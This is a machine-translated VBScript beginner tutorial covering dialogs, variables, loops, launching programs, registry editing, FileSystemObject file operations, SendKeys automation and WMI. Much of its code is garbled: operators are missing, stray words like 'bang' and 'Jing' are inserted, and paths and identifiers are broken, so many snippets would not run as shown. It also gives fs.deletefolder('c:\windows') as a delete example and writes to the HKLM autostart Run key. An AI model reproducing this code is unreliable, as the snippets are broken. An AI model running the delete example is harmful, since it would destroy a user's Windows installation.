Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

Advantages and basic knowledge of Vbs

2025-01-18 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >

Share

Shulou(Shulou.com)06/03 Report--

This article mainly introduces "the advantages and basic knowledge of Vbs". In the daily operation, I believe that many people have doubts about the advantages and basic knowledge of Vbs. The editor consulted all kinds of materials and sorted out simple and easy-to-use operation methods. I hope it will be helpful to answer the doubts about "the advantages and basic knowledge of Vbs". Next, please follow the editor to study!

-Why use Vbs?

In Windows, learning computer operation may be very simple, but a lot of computer work is repetitive. For example, you may need to copy, paste, rename and delete some computer files every week. Maybe the first thing you do to start the computer every day is to open WORD, switch to your favorite input method for text editing, and also play beautiful music to create a comfortable environment for work. Of course, it is also possible that you often need to sort out some data in the text and arrange all kinds of data according to certain rules.... no, no, no. These things are repetitive, trivial and make people tired easily.

Third-party software may be able to enhance some functions of the computer, but to solve these repetitive work is often twice the effort. I have also tried to use computer language to write programs to solve these problems. But the commands, syntax, algorithms, system framework and class libraries that follow often make me think whether this is necessary. Is it because pig hair is more difficult to pull out, so I have to learn machinery? Design a pig hair plucking machine for yourself. )?

Vbs is a Windows script, its full name is: Microsoft Visual Basic Script Editon. (Microsoft Visual BASIC script version), VBS is an abstract subset of Visual Basic and is built into the system. The script code written with it cannot be compiled into binaries and is directly executed by the Windows system (actually an interpreted source code called host host). It is efficient and easy to learn, but it basically has what most high-level languages can do, and it can automate all kinds of tasks. It can free you from repetitive and trivial work and greatly improve your work efficiency.

I personally think that Vbs script is actually a computer programming language, but due to the lack of some elements of the computer programming language, the ability to describe events is weak, so it is called script, its most convenient place is to provide simple support for COM objects. So what is a COM object?

As I understand it, COM objects are program modules with specific functional items. They usually have the extension of ocx or dll. As long as you find the module file that contains the functions you need and make a standard reference in the script, you can achieve specific functions. That is to say, Vbs scripts call ready-made "controls" as objects and use object properties and methods to achieve their goals. It completely eliminates the trouble of writing code, designing algorithms and so on. To put it bluntly, don't I find it troublesome to pluck pig hair? I found that xx machines (such as vacuum centrifuges) have a function to depilate, ok, and I use it to depilate pigs. What? put fine timber to petty use? What a waste of resources? Oh, my God, that's a computer chip thing. You can't die. Anyway, my problem is solved conveniently and quickly. That's fine.

The most convenient thing is that it doesn't even need a special development environment. On your computer, as long as you have notepad, you can write Vbs scripts and execute them directly.

The second concise tutorial of Vbs script programming

How do I start the first Vbs script?

Like most computer tutorials, we start with "Hello World!" The program begins our practice. What? What do you mean you don't know? That is to say, most computer programming tutorials begin with writing a Mini Program, and the result of executing this program is to display a line of text on the computer screen or in the dos window: Hello World! All right, let's get started.

Open your notepad program and fill in in the editing window:

Msgbox "Hello World!"

Then click the "File" menu with the mouse, click "Save", set the "Save in" column as the desktop, fill in kk.vbs in the "File name" column, and click "Save". Then minimize the notepad window, look for the kk.vbs you just saved on the desktop, and double-click. See the pop-up dialog box? click OK, and the dialog box disappears. It's a little ugly, but it's the first script you've ever written.

One of the instructions: in the above operation, the save location is placed on the desktop, just for convenience, it is no problem for you to save it somewhere else, as long as you know where you keep it, what? It's nonsense. I saved it by myself. of course I know where it is. No, I've seen a lot of people I can't find in my own files. You can fill in the file name at will, you don't have to write kk, as long as it conforms to the file naming rules of Windows, but the extension must be vbs, what? Do not know what is an extension? It's in the name of the file. The latter part, to put it simply, is that the vbs script file must be named as: xxx.vbs, where xxx is whatever you want.

Note 2: what does this line mean in the notepad editing window?

You don't have to know how the function works, just know what the function can do.

Msgbox syntax: msgbox "dialog box content", "dialog box title"

You might as well use notepad to open the file just now and enter it in the editing window:

Msgbox "Hello World!", "system prompt"

Execute it to see the effect and location.

Note 3: if the execution fails, look at your punctuation marks. All punctuation marks must be entered in English. Of course, this script is so simple that it doesn't even have the simplest interaction, so you can modify it like this:

Dim namename=Inputbox ("Please enter your name:", "name") Msgbox name, "your name is"

Save and execute, see the pop-up dialog box? Fill in your name, click OK, see the result?

Description one: the first sentence is to define a variable, and dim is a statement that defines a variable

Its format is: dim variable 1, variable 2.

Vbs has only one variable type, so there is no need to declare a variable type. The system automatically distinguishes the variable type.

Note 2: inputbox is a built-in function of VBS, which can accept input. Its syntax format is as follows:

Inputbox ("dialog box content", "dialog box title")

The second sentence means to accept the user's input and pass the input result to the variable name.

All right, now that you have all the basic input and output functions of this script, you can complete some relatively simple functions. You can write a simple script, then copy it in "Program"-> "start", and then restart the computer to see the results.

The third concise tutorial of Vbs script programming

Basic syntax of Vbs (keep in mind)

Basic knowledge of VBScript

I. variables

1. Everything after the single quotation marks is interpreted as comments.

2. In VBScript, the naming rules of variables follow the standard naming rules. It should be noted that references to variables, methods, functions and objects in VBScript are case-insensitive. To explicitly declare a variable when declaring a variable, you need to use the keyword DIm to tell VBScript that you want to create a variable followed by the variable name. Declare multiple variables of the same type, separated by commas. Note: it is not allowed to assign values to variables while declaring them in VBScript. However, it is allowed to assign two variables at the same time in one line of code, separated by a colon.

3. You can use Option Explicit to tell the host that variables must be declared before they are used.

4. VBScript has only one variable type when it is defined. In practice, it is necessary to use the type conversion function to convert the variable into the corresponding variable type.

The Cbool function converts variables to Boolean values

The Cbyte function converts a variable to an integer between 0 and 255.

The Ccur function, the Cdbl function, and the Csng function convert variables to floating-point values. The former is only accurate to the last four decimal places, while the latter two are more accurate and have a much larger range of values.

The Cdate function converts a variable to a date value.

The Cint function and the Clng function convert variables to integers, and the scope of the latter is much larger than the former.

The Cstr function converts a variable to a string.

2. Array

The definition of an array is very similar to a variable, only the number and dimension of the array need to be described after the variable. It is important to note that the subscript of an array always starts at 0 and ends with a value minus one in the array definition. In other words, if you want to define an array of ten data, you will write the code like this: dImarray (9). Again, when you want to access the fifth element, the actual code is array (4). Of course, you can declare a dynamic array by not specifying the number and dimension of the array. When the number and dimension of the array are fixed, use the keyword redim to change the array. Note that when changing the size of the array, the data of the array will be corrupted, and the keyword preserve is used to protect the data. For example:

RedIm spaces preserve spaces array parentheses number comma dimension parentheses

III. Operator

In the VBScript operator, addition, subtraction, multiplication and division are our common symbols, and the multiplier uses ^, and the module uses Mod.

In the comparison operator, equal to, less than, greater than, less than or equal to, greater than or equal to is consistent with our commonly used symbols, not equal to the combination of less than and greater than.

The logical operators are: and operation-> AND non-operation-> NOT or operation-> OR

You can use the operator + and operator & to concatenate strings, usually using the & operator

Another special operator, Is, is used to compare objects, such as button objects. If the object is of the same type, the result is true, and if the object is not of the same type, the result is false.

4. If is the main conditional statement. Two forms of then statement and select case statement

In if. In the then statement, its basic form is:

If conditional then

Statements that deal with conditions

……

Endif

The basic form can only validate a single condition. If there are two conditions, you need to add a single-line statement else to the basic form. If there are more conditions to verify, you need to add a statement.

Elseif conditional then

Deal with conditional statements

In the select case statement, the basic form is:

Select case variable

Case conditional value

Deal with conditional statements

And repeat the first two sentences.

The last sentence should be

Case else

Processing statement

Of course, don't forget to put the conditional end statement End select on the last line.

Note: when performing string comparison, you need to pay special attention to case. In general, before comparing, we use the lcase function to convert the string to lowercase and the ucase function to convert the string to uppercase.

Loop control statement

Loop control statements have for... Next cycle, for... Each cycle, do... While cycle, do... There are five forms of until cycle and while cycle.

Before using the loop control statement, we should first judge the loop condition. If the number of loops is fixed, then use For. Next loop, whose structure is:

For counter variable = start count value to last count value

Executive loop body

Next

If you need to judge each element in an array or collection of objects, you need to use for... Each loop, whose structure is:

For each Loop count variable in objects or arrays to view

Execute processing statement

Next

Note: you can use exit for to exit the loop at any time in both loops

Use do if you want to execute a piece of code when the condition is met. While statement, which is structured as follows:

Do while condition

Executive loop body

Loop

If you want to execute code when the conditions are not met, use do... Until statement, which is structured as follows:

Do until condition

Executive loop body

Loop

Of course, in these two loop statements, you can use exit do to exit the loop

The last kind of loop statement is to execute the loop when the condition is satisfied.

While condition

Executive loop body

Wend

VI. Use process

There are two commonly used procedures, one is a function that returns a value to the caller, the other is a subroutine with no return value, and there is a special subroutine called an event, which is rarely used.

The basic definition of a function is as follows:

Function function name (argument list)

Function code

Function name = a value'is used to return a value

End function

Some subroutines are similar, but there is no return value

Note: although parentheses are added to the argument list when defining subroutines, parentheses are not added to the argument list when calling subroutines, and parentheses are only used in functions. In addition, subroutines cannot be used in expressions.

The function can only appear on the right side of the assignment statement, or in the expression, the function cannot be used directly. If you must use the function directly, you must call it with the call statement and cancel the return value.

The fourth concise tutorial of Vbs script programming

How to use Vbs to run external programs?

Vbs only provides a basic framework for programming. Users can use Vbs to define variables, procedures and functions. Vbs also provides some internal functions and objects, but Vbs does not provide any commands to access the components within the Windows system. Fortunately, although Vbs can not complete these tasks by itself, it provides a very convenient and powerful command-- CreateObject. This command accesses all com objects installed on the windows system and invokes commands stored in these parts.

So the problem is solved. For example, I have 1000 small texts on hand. I first check and modify the syntax of each text, and then sort the text according to predefined rules. finally, the text is merged into one file. Normally, we need to open the first small text, and then copy it to WORD, and then use the debugging function to debug and modify, and then import it into EXCEL for sorting, repeat the process 1000 times, and then copy all the resulting text into a large text. It's really boring and the workload is too heavy. With Vbs and CreateObject, the problem is solved. I just need to find the appropriate module and call the appropriate function. As a script, it is good at repeating a boring process 1000 times.

All right, let's get down to business, starting with the simplest-- starting only one program.

WSH, the host used to parse Vbs, contains several commonly used objects:

1. Scripting.FileSystemObject-> provides a complete set of file system operation functions

2. Scripting.Dictionary-> is used to return the dictionary object that stores key-value pairs.

3. Wscript.Shell-> provides a set of functions for reading system information, such as reading and writing the registry, finding the path to the specified file, reading DOS environment variables, and reading the settings in the link.

4. Wscript.NetWork-> provides functions for network connection and remote printer management. (where all Scripting objects are stored in the SCRRUN.DLL file and all Wscript objects are stored in the WSHOM.ocx file. )

Now what we need is the third object. all right, let's connect the object first and enter it in the notepad editing window:

Option Explicit

Dim objShell

Set objShell = CreateObject ("Wscript.Shell")

ObjShell.Run "notepad"

Again, save the execution. So what kind of result did you see? Another notepad was opened on the desktop.

Note 1: Set is a Vbs directive, so whenever you assign an object reference to a variable, you need to use the set keyword. So what is an object reference? All variables other than strings, numeric values, and Boolean values are object references. Objshell is the name of the variable, which can be modified at will.

Description 2: all correctly referenced objects have built-in functions and variables, and the reference method is to add "." after the variable, followed by the function that implements the function. Objshell.run means to call a function in Wscript.shell that runs an external program-- run,notepad is the file name of the notepad program. Of course, you can also change it to "calc", which is the file name of the calculator, winword is the file name of word, and so on, the file names of all executable files are fine. But it should be noted that if the executable you want to execute is not stored in the common path where the program is installed, in general, you need to provide a legal pathname, but run will stop when it encounters spaces when running parsing. The solution is to use double quotes, for example: run qq on my machine, the code is:

Objshell.run "" C:\ Program Files\ QQ2006\ QQ.exe "Note: three quotation marks

OK, let's go further and start two programs.

Enter the following code:

Set objShell = CreateObject ("Wscript.Shell") objShell.Run "notepad" objShell.Run "calc"

What will happen to the implementation? The two programs are basically started at the same time. What if we need to start notepad and then start calc? It's very simple to add the True parameter to the code that needs to be executed sequentially.

All right, enter the code:

Set objShell = CreateObject ("Wscript.Shell") objShell.Run "notepad", trueobjShell.Run "calc"

Let's see how the implementation turns out.

Summary: the run function has three parameters, the first parameter is the path of the program you want to execute, the second program is in the form of a window, 0 is running in the background; 1 means to run normally; 2 means to activate the program and display as minimized; 3 means to activate the program and display as maximized; there are a total of 10 such parameters I only listed 4 of the most commonly used. The third parameter indicates whether the script will wait or continue to execute. If set to true, the script will wait for the calling program to exit before executing backwards.

In fact, as a function, run is preceded by a variable that accepts the return value. Generally speaking, if the return value is 0, it means successful execution. If it is not 0, then the return value is the error code, and the corresponding error can be found through this code.

The fifth concise tutorial of Vbs script programming

Error handling

There are many reasons for errors, such as the user entered the wrong type of value, or the script can not find the necessary files, directories or drives, we can use loop technology to handle errors, but VBS itself also provides some basic techniques for error detection and handling.

1. The most common error is a run-time error, that is, an error occurs while the script is running and is the result of an illegal operation attempted by the script. For example, zero is taken as a divisor. In vbs, any runtime error is fatal, at which point the script stops running and an error message is displayed on the screen. You can add it at the beginning of the script

On Error Resume Next

This line tells vbs to skip the statement that made the error at run time and then execute the statement that follows it.

When an error occurs, the statement pushes the relevant error number, error description, and related source code onto the error stack.

2. Although the On Error Resume Next statement can prevent the vbs script from stopping running when an error occurs, it does not really handle the error. To handle the error, you need to add some statements to the script to check the error condition and handle it when the error occurs.

Vbscript provides an err object, which has two methods clear,raise,5 properties: description,helpcontext,helpfile,number,source

The err object does not need to refer to an instance and can be used directly, for example:

On error resume next A11 bang 0 c=a/b if err.number0 then wscript.echo err.number & err.description & err.source end if

The sixth concise tutorial of Vbs script programming

Modify the registry

The main statements to modify the registry in Vbs are:

1. Read the keywords and values of the registry:

You can pass the full path of the keyword to the regread method of the wshshell object. For example:

Set ws=wscript.createobject ("wscript.shell") v=ws.regread ("HKLM\ Software\ 7-Zip\ Path") wscript.echo v

2. Write the registry

Use the regwrite method of the wshshell object. Example:

Path= "HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Run\" set ws=wscript.createobject ("wscript.shell") t=ws.regwrite (path & "jj", "hello")

In this way,

The key value of HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Run\ jj was changed to hello. Note, however: this key value must exist in advance.

If you want to create a new keyword, use this method as well.

Path= "HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ run\ sssa2000\ love\" set ws=wscript.createobject ("wscript.shell") val=ws.regwrite (path, "nenboy") val=ws.regread (path) wscript.echo val

3. Delete keywords and values

Using the regdelete method, just pass the complete path to regdelete

For example

Val=ws.regdel (path)

Note that if you want to delete the value of the keyword, be sure to add "\" at the end of the path, if you do not add a slash, the entire keyword will be deleted.

The seventh concise tutorial of Vbs script programming

Common objects and methods of FSO

The file system is one of the most important parts of all operating systems. Scripts often need to access and manage files and folders. The top-level object for accessing desktops and file systems in Vbs is FileSystemObject (FSO), which is particularly complex and is the core of file operations in vbs. The content of this section should be known like the back of your hand.

Common objects included in FSO are:

Drive object: contains information about the storage device, including hard disk, optical drive, ram disk, network drive

Drives collection: provides a list of physical and logical drives

File objects: checking and working with fil

Files collection: provides a list of files in a folder

Folder objects: checking and working with folders

Folders collection: provides a list of subfolders of folders

Textstream objects: reading and writing text files

The common methods of FSO are:

BulidPath: add file path information to an existing file path

CopyFile: copying fil

CopyFolder: copying folder

CreateFolder: create folder

CreateTextFile: creates text and returns a TextStream object

DeleteFile: deleting fil

DeleteFolder: delete a folder and all its contents

DriveExits: determine if the drive exists

FileExits: determine whether a file exists

FolderExists: determines whether a folder exists

GetAbsolutePathName: returns the absolute path to a folder or file

GetBaseName: returns the basic path to a file or folder

GetDrive: returns a dreve object

GetDriveName: returns the name of a drive

GetExtensionName: returns the extension

GetFile: returns a file object

GetFileName: returns the file name in the folder

GetFolder: returns a folder object

GetParentFolderName: returns the parent folder of a folder

GetSpecialFolder: returns an object pointer to a special folder

GetTempName: returns the name of a randomly generated file or folder that can be used by createtextfile

MoveFile: moving fil

MoveFolder: moving folder

OpenTextFile: open an existing file and return a TextStream object

The eighth concise tutorial of Vbs script programming

Basic operation of folders in FSO

1. Use fso

Since fso is not part of wsh, we need to model it

For example, set fs=wscript.createobject ("scripting.filesystemobject")

In this way, the model of fso is established. It's easy to release it, set fs=nothing.

2. Use folders

Before creating it, we generally need to check whether the folder exists, for example:

Dim fs,s / / define fs, s two variables set fs=wscript.createobject ("scripting.filesystemobject") / / fs is the FSO instance if (fs.folderexists ("c:\ temp") then / / determine whether the c:\ temp folder exists or not, s = "is available" else s = "not exist" set foldr=fs.createfolder ("c:\ temp") / / establish end if if it does not exist

Delete:

Set fs=wscript.createobject ("scripting.filesystemobject")

Fs.deletefolder ("c:\ windows")

Copy: set fs=wscript.createobject ("scripting.filesystemobject")

Fs.copyfolder "c:\ data"d:\ data"

Note: if both c:\ data and d:\ data exist, the script will make an error and replication will stop. If you want to force overwriting, use fs.copyfolder "c:\ data"d:\ data", true

Move:

Set fs=wscript.createobject ("scripting.filesystemobject")

Fs.movefolder "c:\ data"d:\ data"

We can use wildcards to facilitate operation:

For example, fs.movefolder: C:\ data\ te* "," d:\ working "

Note: "\" is not used at the end of the destination path, which means I did not write this:

Fs.movefolder c:\ data\ te* "," d:\ working\ "

If you write it this way, if the d:\ working directory doesn't exist, windows won't automatically create it for us.

Note: the examples we have given above take advantage of the methods provided by fso, and it is possible to use the folder object:

Set fs= wscript.createobject ("scripting.filesystemobject")

Set f=fs.getfolder ("c:\ data")

F.delete / / Delete the folder c:\ data. If there is a subdirectory, it will also be deleted

F.copy "d:\ working", true / / copy to d:\ working

F.move "d:\ temp" / / move to d:\ temp

3. Special folders

It generally refers to the system folder:\ windows\ system32, temporary folder, windows folder, which we mentioned in the previous articles: for example

Set fs=wscript.createobject ("scripting.filesystemobject") set wshshell=wscript.createobject ("wscript.shell") osdir=wshshell.expandenvironmentstrings ("% systemroot%") set f = fs.getfolder (osdir) wscript.echo f

Of course, there is a simple way to use getspecialfolder ()

This method uses three values:

0 indicates the windows folder, and the related constant is windowsfolder

1 system folder, the related constant is systemfolder

2 temporary directory, related constant temporaryfolder

For example:

Set fs=wscript.createobject ("scripting.filesystemobject")

Set wfolder=fs.getspecialfolder (0) 'returns the windows directory

Set wfolder=fs.getspecialfolder (1) 'returns system32\

Set wfolder=fs.getspecialfolder (2) 'returns the temporary directory

The ninth concise tutorial of Vbs script programming-- 1

Clever use of SendKeys to simplify repetitive operations 1

Do you want to log in to your QQ or blog automatically every time you turn it on? Ingenious use of the SendKeys command in VBS (which simulates keyboard operation and sends one or more keystroke instructions to a designated Windows window to control the running of the application) can greatly facilitate our common operations. The format of its use is:

Object.SendKeys string where:

Object: is the WshShell object, that is, the first behavior of the script:

Set WshShell=WScript.CreateObject ("WScript.Shell")

Replace Object with WshShell

"string": indicates the keystroke instruction string to be sent, which needs to be enclosed in English double quotation marks. It contains the following:

1. Basic key: generally speaking, the key instruction to be sent can be expressed directly by the key character itself, for example, to send the letter "x", use "WshShell.SendKeys" x "". Of course, you can also send multiple keystroke instructions directly by arranging the keystroke characters together in order. For example, to send the keystroke "cfan", you can use the

"WshShell.SendKeys" cfan ".

2. Special function keys: for keys that need to be combined with Shift, Ctrl and Alt control keys, SendKeys uses special characters to indicate: Shift-- +; Ctrl-- ^; Alt--%

If the combined key to be sent is to press Ctrl+E at the same time, it needs to be indicated by "WshShell.SendKeys" ^ e ". If the combined key to be sent is to hold down the Ctrl key while pressing the E and C keys, the letter key should be enclosed in parentheses and the writing format is" WshShell.SendKeys "^ (ec)". Note the difference between it and "WshShell.SendKeys" ^ ec ", which means that the combined key is to hold down the Ctrl and E keys at the same time. Then release the Ctrl key and press the "C" key separately.

Since the characters "+" and "^" are used to represent special control keys, how do you represent these keys? Just enclose the characters in curly braces. For example, to send the plus sign "+", you can use "WshShell.SendKeys" {+} ". In addition, for some control function buttons that do not generate characters, you also need to use curly braces to enclose the name of the key. For example, to send an enter key, you need to use "WshShell.SendKeys" {ENTER} "" to indicate that the downward direction key is used.

"WshShell.SendKeys" {DOWN} "" indicates.

If you need to send multiple duplicate single-letter keys, you don't have to type the letter repeatedly, and SendKeys allows you to describe it in a simplified format, using the format "{keystroke number}". For example, to send 10 letters "x", enter "WshShell.SendKeys" {x 10} "".

Example 1: WshShell.SendKeys "^ {ESC} u"

The meaning of the code is: press the Ctrl+Esc key combination (equivalent to pressing the win key) to open the start menu, and then press the U key to open the shutdown menu.

Example 2: let the VBS script automatically enter a line of text "hello, welcome to cfan" in notepad.

Dim WshShell

Set WshShell=WScript.CreateObject ("WScript.Shell")

WshShell.Run "notepad"

WScript.Sleep 2000

/ / the meaning of this line is that the script pauses for 2 seconds to give notepad a time to open. Sometimes the time is too short to allow subsequent characters to enter the editing area.

WshShell.AppActivate "No title-notepad

"/ / AppActivate to find the title box of the executable program, open the contents of" No title-notepad "and take a look.

WshShell.SendKeys "hello, welcome to cfan"

Assignment 1: let the script enter the following two short sentences automatically

This is the most wonderful day of my life

Because I'm here with you now

Assignment 2: let the script automatically close notepad after entering short sentences, and save the file name as "test". Note that closing notepad can be achieved directly by using the combined key Alt+F4.

The ninth concise tutorial of Vbs script programming-- 2

Clever use of SendKeys to simplify repetitive operations 2

Example 3: making notepad that can save the disk at a fixed time automatically

Our most commonly used notepad does not have the automatic timing save function such as Word and WPS. In fact, the use of VBS script plus SendKeys command can make up for this regret. Open notepad and enter the following (divide the code into four parts for ease of description and analysis):

'part I: define variables and objects

Dim WshShell, AutoSaveTime, TXTFileName

AutoSaveTime=300000

Set WshShell=WScript.CreateObject ("WScript.Shell")

TXTFileName=InputBox ("Please enter the file name you want to create (not in Chinese and pure numbers):")

Part II: open and activate notepad

WshShell.Run "notepad"

WScript.Sleep 200

WshShell.AppActivate "No title-notepad"

Part III: save the disk with the file name entered

WshShell.SendKeys "^ s"

WScript.Sleep 300

WshShell.SendKeys TXTFileName

WScript.Sleep 300

WshShell.SendKeys 's'

WScript.Sleep AutoSaveTime

Part IV: automatic timing storage

While WshShell.AppActivate (TXTFileName) = True

WshShell.SendKeys "^ s"

WScript.Sleep AutoSaveTime

Wend

WScript.Quit

Save it as notepad .vbs, and when you want to use notepad later, double-click the script file to open it.

Program description: the basic idea of this script is to regularly send Ctrl+S to notepad.

The first part defines the variables and objects that need to be used in the script. The "AutoSaveTime" variable is used to set the automatic save interval in milliseconds, which is set here to 5 minutes. The "TXTFileName" variable gets the name of the text file you want to create through the input box.

The second part: run notepad, for the programs provided by Windows itself, such as calculators, you can enter the program name directly after "WshShell.Run", such as "calc", for non-system programs, you can enter the full path, but pay attention to the use of 8.3 format input, such as "D:\ Progra~1\ Tencent\ QQ.exe".

The third part: here with the SendKeys command to perform such an operation flow (please note the use of the delay command between each operation): press the Ctrl+S key combination in notepad → pop-up window to save the file → input file name → press the Alt+S key combination to save (the default is saved in the "my documents" directory).

The fourth part: the key of timing saving, through the cyclic command of "While … Wend" when the condition is "true", the repeated execution of automatic save code "WshShell.SendKeys" ^ s "" and timing code "WScript.Sleep AutoSaveTime" is realized. Because this timed save loop cannot be executed all the time, after exiting notepad, it is necessary to automatically exit the script and end the loop, so a loop judgment condition "WshShell.AppActivate TXTFileName=True" is designed. When notepad is running, the notepad window can be activated. The result of this condition is "True". The timed save loop is executed all the time. After exiting notepad, the script cannot activate the notepad window and will jump out of the loop. Execute the "WScript.Quit" exit script after "Wend".

Example 4: quickly log in to QQ software. Suppose the QQ number is 10001, the password is 123456, and log in stealthily:

Set ws=wscript.createobject ("wscript.shell") ws.run "C:\ Progra~1\ Tencent\ QQ\ QQ.exe", 0 wscript.Sleep 2000 ws.AppActivate "QQ user login" ws.SendKeys "7015247" wscript.Sleep 200ws.SendKeys "{TAB}" ws.SendKeys "*" wscript.Sleep 200ws.SendKeys "{ENTER}"

Example 5: the shutdown menu appears immediately

Open notepad, enter the following command, and save it as 1.vbs:

Set WshShell = CreateObject ("WScript.Shell")

WshShell.SendKeys "^ {ESC} u"

Double-click to run it and you will find that the shutdown menu appears immediately.

Change "WshShell.SendKeys" ^ {ESC} u "to" WshShell.SendKeys "^ + {ESC}"and run it to see if the task manager is open.

The ninth concise tutorial of Vbs script programming-- 3

Clever use of SendKeys automatically surf the Internet and log on to blog 3

Copy the following script into a text file and name it automatic login .vbs, then copy the dialing software and this script into the program-startup item, you can automatically dial up the Internet and log on to the blog.

The code is as follows:

Set wshshell=CreateObject ("wscript.shell") wshshell.AppActivate "connection MAE-301U dial-up connection" wscript.Sleep 20000wshshell.SendKeys "{enter}" wshshell.Run "iexplore" WScript.Sleep 2000wshshell.AppActivate "hao123 URL Home-practical URL, search Daquan Change the content in the http://www.hao123.com/-Microsoft Internet Explorer "'quotation marks to the content in the title bar after your browser opens wshshell.SendKeys"% d "wshshell.SendKeys" http://passport.baidu.com/?login"wshshell.SendKeys "{enter}" WScript.Sleep 2000wshshell.SendKeys "here to the blog account" wshshell.SendKeys "{tab}" wshshell.SendKeys "here to the blog password" wshshell.SendKeys "{enter}"' wshshell.SendKeys "% d"

Of course, the commonly used editor for Vbs scripts is notapad, but of course the function of this editor is a little too weak. In fact, there are many dedicated script editors that can greatly facilitate the writing of vbs scripts. There are two kinds of things that I often use:

1. VBSEDit Chinese version

2. Primalscript Chinese version, which can edit more than 30 kinds of scripts.

Eleven of the concise tutorials of Vbs script programming

Basic operation of files in FSO

1. File attributes:

In windows, the attributes of a file are generally represented by numbers:

0 represents normal, that is, the normal file has no properties set. 1 stands for read-only files.

2 stands for hidden files. 4 represents system files. 16 represents a folder or directory.

32 stands for archived files. 1024 represents a link or shortcut. For example:

Set fs=wscript.createobject ("scripting.filesystemobject")

Set f=fs.getfile ("d:\ index.txt")

The msgbox f.Attributes' attributes function is used to display file properties

It is important to note that the results displayed by msgbox are often not the numbers described above, but the sum of the numbers represented by the attributes.

Second, create a file: object.createtextfile method, note that you generally need to check whether the file exists before creation.

For example:

Set fso=wscript.createobject ("scripting.filesystemobject") if fso.fileexists ("c:\ kk.txt") thenmsgbox "file already exists" elseset f=fso.createtextfile ("c:\ kk.txt") end if

If you need to force an existing file to be overwritten, add the true parameter after the file name.

Copy, move and delete files: use copyfile method, movefile method and deletefile method. For example:

Set fso=wscript.createobject ("scripting.filesystemobject") fso.copyfile "c:\ kk.txt", "d:\ 1\ kk.txt", true / / as mentioned above, true stands for forcibly overwriting fso.movefile "c:\ kk.txt", "d:\" / / move file fso.deletefile "c:\ kk.txt" / / delete file

4. Reading and writing of documents:

1. Open the file: use the opentextfile method

For example: set ts=fso.opentextfile ("c:\ kk.txt", 1Jing true)

Description: the second parameter is that access mode 1 is read-only, 2 write, and 8 is append

The third parameter specifies that it is created if the file does not exist.

2. Read the file: read (x) reads x characters; readline reads one line; readall reads all

For example: set ffile=fso.opentextfile ("c:\ kk.txt", 1Jing true)

Value=ffile.read (20)

Line=ffile.readline

Contents=ffile.readall

3. Common pointer variables:

The atendofstream property: this property returns true when it is at the end of the file. A loop is usually used to detect whether the end of the file has been reached. For example:

Do while ffile.atendofstreamtrue

Ffile.read (10)

Loop

The atendofline property: this property returns true if the end of the line has been reached.

The Column attribute (the column number of the current character position) and the line attribute (the current line number of the file): after opening a file, the row and column pointers are set to 1.

4. Skip lines in the file: skip (x) skips x characters; skipline skips one line

5. Write characters in the file: you can write with 2-write and 8-append.

The methods are as follows: write (x) writes the x string; writeline (x) writes the line represented by x

Writeblanklines (n) writes n blank lines

Note: finally, you must use the close method to close the file, and after reading the file, you must close it before you can open it by writing.

The 12th concise tutorial of Vbs script programming

Use the system dialog box

In VBS script design, if you can use the system dialog box provided by windows, it can simplify the difficulty of using the script, make the script more humanized, and few people use it, but VBS is not unable to achieve such a function, of course, the method is still using COM objects.

1, SAFRCFileDlg.FileSave object: properties are: FileName-specify the default file name; FileType-specify the file extension; OpenFileSaveDlg-display the file save box method.

2. SAFRCFileDlg.FileOpen object: FileName-default file name attribute; OpenFileOpenDlg-displays the method of opening the file box body.

3. UserAccounts.CommonDialog object: Filter-extension attribute ("vbs File | * .vbs | All Files | *. *")

FilterIndex-specify

InitialDir-specify the default folder

FileName-specified file name

Flags-Type of dialog box

Showopen method:

It's simple, ok. Let's give two simple examples:

Example 1: save the file

Set objDialog = CreateObject ("SAFRCFileDlg.FileSave") Set objFSO = CreateObject ("Scripting.FileSystemObject") objDialog.FileName = "test" objDialog.FileType = ".txt" intReturn = objDialog.OpenFileSaveDlgIf intReturn ThenobjFSO.CreateTextFile (objDialog.FileName & objdialog.filetype) ElseWscript.QuitEnd If

Note: 1, the SAFRCFileDlg.FileSave object only provides a user-friendly interface, there is no function to save the file, saving the file also needs to use the FSO object to complete. 2. Use the FileType attribute to specify the default file type. 3. When calling the OpenFileSaveDlg method, it is best to save the return value to a variable, which can be used to determine whether the user presses to confirm or cancel.

Example 2:. Open a file

Set objFile = CreateObject ("SAFRCFileDlg.FileOpen") intRet = objFile.OpenFileOpenDlgif intret thenmsgbox "file opened successfully! the file name is: & objFile.filenameelsewscript.quitend if

Example 3: more complex open file dialog box

Set objDialog = CreateObject ("UserAccounts.CommonDialog") objDialog.Filter = "vbs File | * .vbs" objDialog.InitialDir = "c:\" tfile=objDialog.ShowOpenif tfile then strLoadFile = objDialog.FileNamemsgbox strLoadFileelsewscript.quitend if

Description: add objDialog.Flags = & H020 to the script to see what happens

The thirteenth concise tutorial of Vbs script programming-- 1

One of the foundations of WMI

WMI, the Windows management specification, is a model for users to manage local and remote computers. It allows you to access, configure, manage, and monitor almost all Windows resources. The syntax of WMI is very simple, basically common namespaces, objects, and so on are used almost exactly the same. It corresponds to the WMI service (winmgmt) in Windows.

I. the origin of WMI

A few years ago, due to the lack of standards in the field of system management, several senior computer companies commissioned DMTF to launch the CIM (General Information Model) project. The ideal CIM is a management tool that is not limited to any specific implementation environment. WMI is a Microsoft implementation of CIM, and many of its classes are derived from CIM.

Second, the namespace of WMI

So what do namespaces do? Let me put it this way: in the same piece of code, if two variables or functions have exactly the same name, there will be a conflict. Namespaces serve to resolve naming conflicts between variables and functions. The solution is to define your variables in a different namespace. It is as if the Finance Bureau has a Zhang San and the Public Security Bureau has a Zhang San, but we know that it is because they belong to different units. It may not be accurate in some places, but that's what it means.

The WMI namespace creates a hierarchy, somewhat similar to our directory file structure.

1. Root- acts as a placeholder for all other names

2. Root\ default- classes related to registry operations

3. Root\ security- classes related to system security

4. Root\ cimv2- 's classes derived from CIM represent our most commonly used work environment.

3. The object path of WMI

The object path of WMI is used to locate the class and its case in the CIM library. The object path begins with two backslashes\\. The first element is the name of the target computer, the second element is the corresponding WMI namespace, and the third element is the corresponding class name, separated from the namespace with:. For example:\\..\ root\ cimv2:win32_service

That one of them. Represents the local system.

